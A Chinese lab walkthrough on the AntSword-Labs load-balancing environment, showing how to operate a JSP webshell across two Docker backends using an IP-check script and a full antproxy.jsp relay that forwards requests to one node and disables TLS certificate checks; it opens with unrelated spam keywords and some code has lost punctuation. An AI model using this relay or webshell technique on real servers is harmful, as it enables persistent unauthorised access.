做兼职的设计网站有哪些,做英语听力音频的网站,网站建设需求调研表模板,58黄页网推广效果怎样一、上传AntSword-Labs-master搭建负载均衡实验环境
搭建好docker环境#xff0c;并且配置好docker-compose 我的Redhat的docker版本#xff1a; 查看当前环境下的文件是否正确#xff1a; 接着执行docker compose up -d 拉取环境 访问成功页面#xff1a; 进入docker容器…一、上传AntSword-Labs-master搭建负载均衡实验环境
搭建好docker环境并且配置好docker-compose 我的Redhat的docker版本 查看当前环境下的文件是否正确 接着执行docker compose up -d 拉取环境 访问成功页面 进入docker容器执行以下命令
docker exec loadbalance-jsp_lbsnode1-1 bash -c ls -l webapps/RO0T/ant.jsp 可以发现存在webshell查看里面内容如下 二、连接webshell 执行命令
然后连接目标因为两台节点都在相同的位置存在 ant.jsp所以连接的时候也没出现什么异常 一旦有一台机器上没有那么在请求轮到这台机器上的时候就会出现 404 错误影响使用。
我们可以发现主机的ip一直在变 三、上传文件/工具
我先在这个目录下上传一个hack.txt文件刷新 再次刷新发现文件不见了是因为文件被分开上传到不同的后端了不停地刷新会发现文件时而存在时而不见。 连续进行上传操作直到刷新到hack.txt文件一直存在为止。如果文件较大则会导致上传的工具用不了。
五、解决执行的命令会分散到不同的后端的问题
1、我们既然无法预测下一次命令是哪台机器去执行那我们的 Shell 在执行 Payload 之前先判断一下要不要执行不就行了
因为本次环境由docker搭建的在docker里面下载相应的工具 进入相应的docker容器(注意不同的系统容器名字不一样) 退出容器exit 升级一下
apt-get update 安装一下
apt-get install net-tools 测试一下好不好用因为只在一台装了另一台用不了 两台都要装上
2、创建脚本判断要执行命令的ip是不是目标后端
vim demo.sh
MYIPifconfig | grep inet 172.19 | awk {print $2}
if [ $MYIP 172.19.0.2 ]; thenecho allow exec your commandid
elseecho try again!!!
fi然后将次脚本复制到docker容器下的临时文件夹下两台都要复制
docker cp demo.sh 8e558d690564:/tmp 此时执行脚本匹配 这就解决了执行命令只会在一台特定后端 六、解决上传文件会分散到不同的后端的问题
测试内网通信
curl http://172.19.0.3:8080 -X HEAD -v 在Web 层做一次 HTTP 流量转发实现后端不是目标的机器将流量转发给目标机
antproxy.jsp
注意更改这个字段 String target http://172.19.0.2:8080/ant.jsp;
% page contentTypetext/html;charsetUTF-8 languagejava %
% page importjavax.net.ssl.* %
% page importjava.io.ByteArrayOutputStream %
% page importjava.io.DataInputStream %
% page importjava.io.InputStream %
% page importjava.io.OutputStream %
% page importjava.net.HttpURLConnection %
% page importjava.net.URL %
% page importjava.security.KeyManagementException %
% page importjava.security.NoSuchAlgorithmException %
% page importjava.security.cert.CertificateException %
% page importjava.security.cert.X509Certificate %
%!public static void ignoreSsl() throws Exception {HostnameVerifier hv new HostnameVerifier() {public boolean verify(String urlHostName, SSLSession session) {return true;}};trustAllHttpsCertificates();HttpsURLConnection.setDefaultHostnameVerifier(hv);}private static void trustAllHttpsCertificates() throws Exception {TrustManager[] trustAllCerts new TrustManager[] { new X509TrustManager() {public X509Certificate[] getAcceptedIssuers() {return null;}Overridepublic void checkClientTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}Overridepublic void checkServerTrusted(X509Certificate[] arg0, String arg1) throws CertificateException {// Not implemented}} };try {SSLContext sc SSLContext.getInstance(TLS);sc.init(null, trustAllCerts, new java.security.SecureRandom());HttpsURLConnection.setDefaultSSLSocketFactory(sc.getSocketFactory());} catch (KeyManagementException e) {e.printStackTrace();} catch (NoSuchAlgorithmException e) {e.printStackTrace();}}
%%String target http://172.20.0.2:8080/ant.jsp;URL url new URL(target);if (https.equalsIgnoreCase(url.getProtocol())) {ignoreSsl();}HttpURLConnection conn (HttpURLConnection)url.openConnection();StringBuilder sb new StringBuilder();conn.setRequestMethod(request.getMethod());conn.setConnectTimeout(30000);conn.setDoOutput(true);conn.setDoInput(true);conn.setInstanceFollowRedirects(false);conn.connect();ByteArrayOutputStream baosnew ByteArrayOutputStream();OutputStream out2 conn.getOutputStream();DataInputStream innew DataInputStream(request.getInputStream());byte[] buf new byte[1024];int len 0;while ((len in.read(buf)) ! -1) {baos.write(buf, 0, len);}baos.flush();baos.writeTo(out2);baos.close();InputStream inputStream conn.getInputStream();OutputStream out3response.getOutputStream();int len2 0;while ((len2 inputStream.read(buf)) ! -1) {out3.write(buf, 0, len2);}out3.flush();out3.close();
%
使用蚁剑的新建文件功能新建一个antproxy.jsp的文件上传重复上传多次确保所有后端都上传上去了。 将上面的代码复制到这个文件中并多次保存确保每台后端都存在
然后更新名字antproxy.jsp 测试可以看到ip不会改变了